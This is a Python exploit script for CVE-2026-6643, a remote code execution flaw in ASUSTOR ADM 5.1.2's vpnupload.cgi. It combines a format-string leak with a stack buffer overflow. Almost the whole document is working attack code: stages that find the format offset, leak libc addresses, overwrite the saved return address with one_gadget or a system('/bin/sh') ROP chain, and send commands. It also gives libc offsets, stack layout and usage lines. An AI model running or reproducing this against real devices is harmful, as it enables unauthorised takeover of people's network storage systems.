README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi RCE
Exploitation chain:
1. --stage offset : Auto-detect format string argument index on the stack
2. --stage leak : Leak libc pointer from stack, calculate libc base
3. --stage rce : Endpoint buffer overflow → one-gadget → shell
4. --stage shell : Send command after GOT[printf] has been overwritten with system()
Binary mitigations (vpnupload.cgi):
No PIE | No Canary | No FORTIFY_SOURCE | Partial RELRO (GOT writable)
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 (300B)
local_998 Address rbp-0x998 (300B)
local_86c PublicKey rbp-0x86c (300B)
local_740 ListenPort rbp-0x740 (300B)
local_4e8 PresharedKey rbp-0x4e8 (300B)
local_3bc AllowedIPs rbp-0x3bc (300B)
local_290 PersistentKeepalive rbp-0x290 (300B)
local_164 Endpoint rbp-0x164 (300B) <- closest to RIP
saved RBP rbp+0x000 (8B)
saved RIP rbp+0x008 (8B) <- target
Endpoint -> RIP distance: 0x164 + 8 = 364 bytes
Null byte constraint:
sscanf("%s") stops copying at null bytes.
libc addresses (0x7f...) in little-endian end with 2 null bytes.
sscanf stops after writing the 6 significant bytes — but bytes 6-7 of
the saved RIP slot are already 0x0000 (original return address) -> write succeeds.
Usage:
uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage offset
uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage leak --fmt-offset 8
uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage rce --libc-base 0x7f1234560000
"""
import argparse
import re
import struct
import sys
import requests
TARGET = "http://{host}/portal/apis/settings/vpnupload.cgi?act=upload_wireguard"
BOUNDARY = "XBOUND"
# -- libc offsets — extract from the firmware's libc.so.6 --------------------
#
# How to obtain:
# readelf -s libc.so.6 | grep -w system
# strings -a -t x libc.so.6 | grep /bin/sh
# one_gadget libc.so.6 <- install: gem install one_gadget
#
# Values below are common glibc 2.31 x86-64 defaults; adjust for your firmware:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72 # pop rdi; ret (libc gadget, no null bytes)
LIBC_RET = 0x026573 # ret (stack alignment)
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
# Byte distance from start of Endpoint buffer to saved RIP
ENDPOINT_TO_RIP = 0x164 + 8 # 364
# -- HTTP transport ------------------------------------------------------------
def _build_conf(privkey="A", address="10.0.0.2/24",
endpoint="vpn.test.com:51820", allowedips="0.0.0.0/0",
publickey="BBBBBBBB") -> bytes:
return (
"[Interface]\n"
f"PrivateKey = {privkey}\n"
f"Address = {address}\n"
"DNS = 1.1.1.1\n\n"
"[Peer]\n"
f"PublicKey = {publickey}\n"
f"AllowedIPs = {allowedips}\n"
f"Endpoint = {endpoint}\n"
).encode()
def _multipart(conf: bytes) -> tuple[bytes, str]:
# Parser requires boundary counter = 2; first part is a dummy section
body = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="metadata"; filename="t.conf"\r\n'
"\r\ndummy\r\n"
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="file"; filename="t.conf"\r\n'
"\r\n"
).encode() + conf + f"\r\n--{BOUNDARY}--\r\n".encode()
return body, f"multipart/form-data; boundary={BOUNDARY}"
def post(host: str, cookie: str, **fields) -> requests.Response:
body, ct = _multipart(_build_conf(**fields))
return requests.post(
TARGET.format(host=host),
data=body,
headers={"Cookie": cookie, "Content-Type": ct},
timeout=15,
)
def _echo(response_text: str) -> str | None:
m = re.search(r'"clientprivatekey"\s*:\s*"([^"]+)"', response_text)
return m.group(1) if m else None
# -- Stage 1: Auto-detect format string argument offset -----------------------
def stage_offset(host: str, cookie: str) -> int:
"""
Send AAAA.%N$x for N=1..50 and find where 0x41414141 appears in the echo.
"""
print("[*] Detecting format string argument offset...")
for n in range(1, 51):
resp = post(host, cookie, privkey=f"AAAA.%{n}$x")
echo = _echo(resp.text)
if echo and "41414141" in echo:
print(f"[+] Offset: {n} (echo: {echo[:60]})")
return n
print("[-] Offset not found — verify cookie is valid")
sys.exit(1)
# -- Stage 2: Leak libc base --------------------------------------------------
def stage_leak(host: str, cookie: str, fmt_offset: int) -> int:
"""
Read 40 stack words starting from fmt_offset.
Values in the 0x7f... range are libc pointers.
Returns the first libc candidate (not the base yet — subtract symbol offset manually).
"""
count = 40
fmt = ".".join(f"%{fmt_offset + i}$016lx" for i in range(count))
resp = post(host, cookie, privkey=fmt)
echo = _echo(resp.text)
if not echo:
print(f"[-] No echo in response: {resp.text[:300]}")
sys.exit(1)
words = re.findall(r"[0-9a-f]{16}", echo)
print(f"[+] Stack dump (args {fmt_offset}..{fmt_offset + count - 1}):")
libc_hits = []
for i, w in enumerate(words):
val = int(w, 16)
tag = ""
if 0x7F000000000000 <= val <= 0x7FFFFFFFFFFF:
tag = " <- libc candidate"
libc_hits.append((fmt_offset + i, val))
print(f" [{fmt_offset + i:3d}] {hex(val)}{tag}")
if not libc_hits:
print("[-] No libc pointers found — try increasing count or adjusting fmt_offset")
return 0
idx, val = libc_hits[0]
print(f"\n[+] Best candidate: arg[{idx}] = {hex(val)}")
print(f" Identify the symbol with gdb/readelf, then:")
print(f" libc_base = {hex(val)} - <symbol_offset>")
print(f" Then run: --stage rce --libc-base <result>")
return val
# -- Stage 3: RCE via Endpoint overflow ---------------------------------------
def stage_rce(host: str, cookie: str, libc_base: int):
"""
Overflow the Endpoint buffer (local_164, rbp-0x164) to overwrite saved RIP.
Payload layout:
[364 bytes padding] + [one_gadget address (8 bytes)]
^ libc address = 0x00007f??????????
first 6 bytes are significant, last 2 = 0x0000
sscanf stops at the null bytes, but those bytes
were already 0x0000 in saved RIP -> write succeeds
one_gadget calls execve("/bin/sh") directly — no argument setup needed.
"""
print(f"[*] libc base: {hex(libc_base)}")
print(f"[*] Endpoint buffer -> RIP offset: {ENDPOINT_TO_RIP} bytes")
for og in LIBC_ONE_GADGETS:
target = libc_base + og
print(f"\n[*] Trying one_gadget +{hex(og)} = {hex(target)}")
rip_bytes = struct.pack("<Q", target)
payload = b"A" * ENDPOINT_TO_RIP + rip_bytes
try:
resp = post(host, cookie, endpoint=payload.decode("latin-1"))
print(f" HTTP {resp.status_code}")
if resp.status_code == 200:
print(" [+] No crash — check your listener")
except requests.exceptions.ConnectionError:
print(" Connection reset (wrong gadget or offset)")
except Exception as e:
print(f" {e}")
print("\n[!] If all gadgets fail:")
print(" 1. Confirm ENDPOINT_TO_RIP with a cyclic pattern + gdb core")
print(" 2. Run: one_gadget libc.so.6 to get correct offsets")
print(" 3. Verify libc_base calculation")
# -- Stage 3b: ROP chain (system + /bin/sh) -----------------------------------
def stage_rce_rop(host: str, cookie: str, libc_base: int):
"""
Fallback if all one_gadgets fail: pop rdi; ret -> /bin/sh -> ret -> system().
All gadgets come from libc (0x7f... addresses, no embedded null bytes).
system() ends with 2 null bytes but is the last value in the chain —
sscanf stops there after the write has already completed.
Payload layout:
[364 bytes padding] <- fills Endpoint buffer + saved RBP
[pop rdi; ret] 8B <- overwrites saved RIP (libc addr, no nulls)
[/bin/sh addr] 8B <- rdi argument
[ret] 8B <- stack alignment
[system()] 8B <- last value; trailing null bytes are harmless
"""
system = libc_base + LIBC_SYSTEM
binsh = libc_base + LIBC_BINSH
pop_rdi = libc_base + LIBC_POP_RDI_RET
ret = libc_base + LIBC_RET
print(f"[*] ROP chain:")
print(f" pop rdi; ret = {hex(pop_rdi)}")
print(f" /bin/sh = {hex(binsh)}")
print(f" ret = {hex(ret)}")
print(f" system() = {hex(system)}")
# padding fills up to saved RIP; ROP chain starts at saved RIP
pad_len = ENDPOINT_TO_RIP
payload = (
b"A" * pad_len
+ struct.pack("<Q", pop_rdi)
+ struct.pack("<Q", binsh)
+ struct.pack("<Q", ret)
+ struct.pack("<Q", system)
)
print(f"[*] Payload: {len(payload)} bytes -> sending...")
try:
resp = post(host, cookie, endpoint=payload.decode("latin-1"))
print(f"[+] HTTP {resp.status_code}")
except requests.exceptions.ConnectionError:
print("[+] Connection reset -> crash or shell spawned")
# -- Stage 4: Command execution (requires prior GOT overwrite) ----------------
def stage_shell(host: str, cookie: str, cmd: str):
"""
Prerequisite: GOT[printf] must already be overwritten with system().
This exploit does not implement the %n GOT overwrite stage; use an
external tool (e.g. pwntools) to perform the write first.
Once overwritten, printf(user_data) becomes system(user_data).
The command is placed in the PrivateKey field.
"""
print("[!] Prerequisite: GOT[printf] must already point to system()")
print(f"[*] Sending command: {cmd}")
resp = post(host, cookie, privkey=cmd)
print(f"[+] HTTP {resp.status_code}")
print(f" {resp.text[:400]}")
# -- Banner -------------------------------------------------------------------
def banner():
cyan, reset = "\033[96m", "\033[0m"
art = r"""
_____ __ __ ______ ___ ___ ___ __ __ __ _ _ ____
/ ____|\ \ / /| ____| |__ \ / _ \ |__ \ / / / / / / | || | |___ \
| | \ \ / / | |__ ______ ) || | | | ) | / /_ ______ / /_ / /_ | || |_ __) |
| | \ \/ / | __| |______| / / | | | | / / | '_ \ |______|| '_ \ | '_ \ |__ _| |__ <
| |____ \ / | |____ / /_ | |_| | / /_ | (_) | | (_) || (_) | | | ___) |
\_____| \/ |______| |____| \___/ |____| \___/ \___/ \___/ |_| |____/
"""
print(f"{cyan}{art}{reset}")
print(" ASUSTOR ADM 5.1.2 vpnupload.cgi")
print(" Format String (CWE-134) + Stack Buffer Overflow (CWE-121) -> RCE")
print(" by mlgzackfly")
print()
# -- CLI ----------------------------------------------------------------------
def main():
ap = argparse.ArgumentParser(
description="CVE-2026-6643 ASUSTOR ADM 5.1.2 RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="Steps: offset -> leak -> rce (or rce-rop if one_gadget fails)",
)
ap.add_argument("host", help="host:port e.g. 192.168.1.1:8000")
ap.add_argument("cookie", help="Session cookie e.g. 'Revive_Session=abc123'")
ap.add_argument("--stage",
choices=["offset", "leak", "rce", "rce-rop", "shell"],
default="offset")
ap.add_argument("--fmt-offset", type=int,
help="Format string argument index (output of --stage offset)")
ap.add_argument("--libc-base", type=lambda x: int(x, 0),
help="libc base address (calculated from --stage leak)")
ap.add_argument("--cmd", default="id",
help="Command for --stage shell (default: id)")
banner()
args = ap.parse_args()
if args.stage == "offset":
stage_offset(args.host, args.cookie)
elif args.stage == "leak":
off = args.fmt_offset or stage_offset(args.host, args.cookie)
stage_leak(args.host, args.cookie, off)
elif args.stage == "rce":
if not args.libc_base:
ap.error("--libc-base is required")
stage_rce(args.host, args.cookie, args.libc_base)
elif args.stage == "rce-rop":
if not args.libc_base:
ap.error("--libc-base is required")
stage_rce_rop(args.host, args.cookie, args.libc_base)
elif args.stage == "shell":
stage_shell(args.host, args.cookie, args.cmd)
if __name__ == "__main__":
main()